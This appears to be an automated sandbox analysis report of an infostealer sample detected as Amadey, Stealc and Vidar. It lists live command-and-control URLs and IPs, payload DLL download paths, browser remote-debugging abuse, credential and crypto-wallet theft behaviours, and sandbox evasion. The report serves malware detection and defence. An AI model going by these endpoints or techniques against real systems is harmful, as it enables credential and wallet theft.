Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562336
MD5:	989618b54cbe6d89c30aa67fe52fc62b
SHA1:	fb55e89cdd398d44eaf8ce549eff424a7cf47141
SHA256:	bee0fe71acfca971ebaf60e73f2026c1612cf89bc26d18e609891dfdaf4ad423
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1436 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 989618B54CBE6D89C30AA67FE52FC62B)

chrome.exe (PID: 6128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2088,i,5255872379599629951,10500991351914301352,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 5988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2240,i,17622548424689427494,13859215189802063868,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8796 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBKKKFCFIIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBKKKFCFIIJ.exe (PID: 8992 cmdline: "C:\Users\user\DocumentsBKKKFCFIIJ.exe" MD5: DDC85728E0670438B6AA74BD2C9C461B)

skotes.exe (PID: 5600 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: DDC85728E0670438B6AA74BD2C9C461B)

msedge.exe (PID: 7876 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8196 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6396 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6600 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6764 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5844 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 5912 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: DDC85728E0670438B6AA74BD2C9C461B)

skotes.exe (PID: 5620 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: DDC85728E0670438B6AA74BD2C9C461B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.2608680907.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2702346163.0000000000C41000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2698524505.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2697600061.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.3323463061.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2609368530.0000000000B71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.3249416176.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2078634280.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2658241854.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2737962556.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsBKKKFCFIIJ.exe.c40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1436, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6128, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:10.756978+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:10.634180+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:11.100395+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:12.724140+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:11.223069+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:10.065195+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:16:06.125090+0100	2856147	1	A Network Trojan was detected	192.168.2.5	58816	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:00.948883+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	58824	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:16:10.796497+0100	2803305	3	Unknown Traffic	192.168.2.5	58828	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:14:13.535510+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T14:14:37.016534+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:38.998381+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:40.376425+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:41.846621+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:45.568984+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:46.683586+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:52.612218+0100	2803304	3	Unknown Traffic	192.168.2.5	49885	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsk	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phprograms	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phppuE	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllm	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllL	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000003.2608680907.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49942 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:58816 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:58824

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:58738 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 13:14:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
